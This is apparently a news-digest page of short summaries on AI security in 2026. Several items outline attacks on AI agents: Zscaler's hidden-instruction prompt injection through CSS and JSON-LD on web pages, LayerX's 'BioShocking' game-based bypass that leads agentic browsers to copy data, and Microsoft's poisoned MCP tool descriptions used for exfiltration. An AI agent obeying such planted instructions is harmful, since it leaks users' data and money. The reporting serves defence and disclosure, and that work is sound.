All news with #ai security tag

🎧 This episode of Smashing Security discusses a rash of recent cybersecurity incidents, including a 15-year-old who used a chatbot to cancel nearly 47,000 anime subscriptions and the first documented agentic ransomware, JadePuffer. The hosts also examine Apple’s problematic Hide My Email feature, which has been known to leak addresses for over a year. Guest Zoë Rose joins Graham Cluley to assess implications for security and privacy.

🛡️ System prompts are core to generative AI applications and often include role definitions, tool descriptions, RAG context, and other proprietary instructions. This AWS Security Blog post explains why system prompt leakage is a persistent risk, highlights that it cannot be fully remediated today, and outlines practical mitigations. It recommends design principles such as minimization and avoiding sensitive data in prompts, and details controls available via Amazon Bedrock Guardrails and other mechanisms to reduce exposure and raise extraction difficulty.

🛡️ Google for Startups has selected 33 cybersecurity startups for the Gemini Startup Forum: Cybersecurity, pairing each company with experts from Google DeepMind, Google Cloud, and Wiz. The cohort addresses six focus areas including autonomous agent protection, post-quantum cryptography, and data-in-use protection. Startups span agent security, cloud posture, DLP, cryptography, and AI-native SOC tooling. The forum offers APIs, tools, training, and technical resources to accelerate AI-native security innovations.

🛡️ The Five Eyes recently warned that AI models increasingly enable autonomous cyberattacks, amplifying risks long present in cyberspace. Bruce Schneier argues that AI widens the gap between skill and ability: tools let less-skilled actors cause damage once limited to experts. He warns guardrails from large vendors won’t stop open-source or locally run models and urges using AI defensively to detect, remediate, and respond faster to evolving threats.

🔍 The first half of 2026 sees attackers adapting established techniques to new platforms and behaviours, with AI increasingly shaping operations. ESET analyzed nearly 900,000 AI skills and found tens of thousands suspicious and thousands malicious, while AI features began appearing inside malware such as the Android PromptSpy. Other trends include expanded click-based social engineering, surging QR-code phishing, and persistent ransomware activity using EDR killers.

🛡️ Zscaler tested 26 LLMs and found several autonomous agents susceptible to indirect prompt injection (IPI) traps, with some high-end models failing while a few lower-tier models fared better. The vendor identified hidden instructions on websites that manipulated agent behavior and caused real-world impacts in controlled tests. Experts warn that agent risk is dynamic, the attack surface is architectural, and binary "safe/vulnerable" labels are overly simplistic for CISOs. The findings highlight that agentic AI introduces new trust boundaries and insider-like threats to enterprise security.

🛡️ Zscaler tested 26 LLM-based autonomous agents and found several susceptible to indirect prompt injection (IPI) schemes, with some high-end models failing while a few lower-tier models fared better. The vendor reported four models as "vulnerable" and three as "safe," but experts warn that agent behavior evolves and binary classifications can be misleading. The findings highlight the architectural risks in agentic AI where untrusted content in the context window can be treated as authoritative, expanding the attack surface for enterprises.

🔒 Google Cloud and Valtech introduce Nexus SDV, an open-source, modular platform that enables AI-native, scalable management of software-defined vehicles. The platform integrates with Android Automotive OS and supports up to 100 million devices while emphasizing TCO reduction via Arm-based compute and Bigtable. Nexus AI leverages Gemini models and the Gemini Enterprise Agent Platform for real-time telemetry analysis and agentic vehicle capabilities. Security is built-in with mTLS/PKI, identity brokering, secret management, network isolation, and an enterprise Secure AI Framework.

🔍 Zscaler ThreatLabz uncovered real-world campaigns using indirect prompt injection, where hidden instructions embedded in web pages steer AI agents. Attackers used SEO poisoning to surface malicious pages and hid prompts via CSS and JSON-LD metadata. One campaign impersonated a Python library to trick agents into paying a $3 bogus API key; another typosquatted a DeBank site to claim authority. Tests across 26 LLMs showed varying susceptibility depending on model and context.

⚡ Google and partners disrupted the NetNut residential proxy network (aka Popa), which abused smart home devices and preinstalled SDKs to route malicious traffic through an estimated 2 million devices. Other incidents this week include fake PoC repos delivering the ChocoPoC RAT via a dependency, a 19-year-old alleged Scattered Spider suspect extradited to the U.S., and a Brazilian Ousaban banking trojan targeting Spain and Portugal. Check Point flagged AI-generated browser ransomware leveraging the File System Access API, illustrating AI can autonomously devise working attack techniques.

🔒 As organizations adopt AI more broadly, third-party API proxies and aggregators promise convenience, cost savings, and failover between models. Some providers operate transparently, but many exploit forged or stolen accounts, reroute queries to cheaper models, and capture or manipulate prompts and outputs. These practices expose firms to data leakage, IP loss, compliance violations, and security threats such as injected malicious code or reduced model accuracy.

🛡️ Check Point Research discovered a Python Flask sample where an AI model connected a legitimate browser API to ransomware-like behavior. The model generated code invoking showDirectoryPicker(), leveraging the File System Access API to request folder access and modify files without installation. A proof-of-concept showed how a fake web app could encrypt photos in a chosen directory, and Android Chrome’s full API support makes DCIM access possible. Defenders should scrutinize folder-access prompts, avoid granting write access to primary photo libraries, and rely on anti-phishing controls to block malicious pages.

🛡️ Palo Alto Networks' Unit 42 warns attackers are registering AI-hallucinated domains and using them for phishing and malware distribution. The report shows models invent millions of links, many unregistered, and attackers are preemptively purchasing and cloning brand sites. Because new domains lack reputation data, they evade blocklists until damage is done. Unit 42 documents several real-world cases and offers mitigation steps for defenders and users.

🧩 Researchers at LayerX demonstrated a prompt injection called BioShocking that trains AI-powered browsers to treat risky real-world actions as fictional, bypassing safety controls. The PoC used a themed puzzle game to reward 'wrong' behavior and culminated in instructing agents to copy sensitive data from a GitHub repo. Six mainstream agentic browsers were tested; only one vendor implemented a working fix after disclosure. LayerX recommends explicit user confirmations, stricter context checks, and session scope limits.

🛡️ New Microsoft research shows attackers can hijack AI agents by poisoning a tool's description so the agent quietly exfiltrates company data. The attack leverages MCP tool descriptions—plain text that agents read—to inject hidden instructions, allowing malicious actions without obvious rule violations. Microsoft recommends treating tool descriptions as system prompts, restricting approved tools, enforcing human approval for risky actions, and monitoring agent identities and behavior.

🚀 Amazon SageMaker Inference now supports container image caching to reduce scale-out latency for generative AI models. The service pre-caches the specified container image so new instances can begin serving without waiting to pull large images from Amazon ECR. This feature works with accelerator instance types, single-model endpoints, and inference component-based endpoints and requires no customer changes.

🔒 This update summarizes June 2026 releases across Microsoft Security that strengthen identity, multicloud, data, and developer protections. Highlights include codename MDASH for multi-model agentic vulnerability scanning, expanded Microsoft Defender agent and MCP detection, GA for Microsoft Entra Backup and Recovery, and extended database threat protection for AWS RDS. New reporting, multicloud coverage, and a unified identity risk score help teams detect, prioritize, and recover faster.

📣 Flare researchers examined underground forum discussions and tools used to orchestrate Business Email Compromise (BEC) campaigns, finding that attacks extend beyond email to include remote access, cash-out networks, and call centers. Actors target finance and leadership SaaS accounts, increasingly using AI to craft realistic messages and scale operations. Defenders should monitor exposed credentials, enforce MFA, train high-risk staff, and treat multi-channel contacts cautiously.

🔍 Researchers tested 444 iPhone AI chatbot apps and found 282 leaking paid AI access via network traffic, often as plaintext keys, reusable tokens, or unsecured backend relays. The team used a tool called LLMKeyLens to capture credentials without jailbreaking. Only 28% of affected apps were fixed after three months; many tokens remained valid and susceptible to costly misuse.

🛡️ Most AI policies are written for the future while employees use AI now, creating a temporal gap that produces shadow AI. Security often learns of risky interactions only after prompts, uploads, or actions have occurred, making after-the-fact visibility insufficient. Effective governance must reach the moment of use, combining permission with contextual judgment and offering fast, practical controls that match employee workflows.